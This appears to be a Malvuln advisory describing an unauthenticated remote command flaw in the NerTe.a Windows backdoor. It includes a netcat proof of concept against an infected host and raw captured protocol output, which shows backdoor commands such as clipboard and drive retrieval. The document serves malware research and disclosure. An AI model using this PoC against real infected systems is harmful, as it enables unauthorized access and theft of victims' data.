Backdoor.Win32.NerTe.a Unauthenticated Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NerTe.a  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 21, 80 and drops an executable under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc  
Type: PE32  
MD5: 125364b0cdae80c10f00b75c8e2cfa47  
Vuln ID: MVID-2021-0286  
Dropped files: TaskMonitors.exe  
Disclosure: 07/12/2021  
  
  
Exploit/PoC:  
nc64.exe x.x.x.x 80  
  
VERSIJ7.9.0_b2_ntñnoñVictimñDESKTOP-2C4JQHO╢GETSND  
  
Get Sounds)  
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢  
  
Get Clipboard data)  
GETCLB  
GETCLB*************** Clipboard **************ñTomorrow West broadway and 29thñ*************** End **************╢  
  
nd **************╢GETRST  
MSGERRYour client too old.  
Please update from:  
http://nerte.free-hosting.lt  
  
MSGUnknown command╢GETDRV  
GETDRVC:\?D:\╢GETCOL  
  
  
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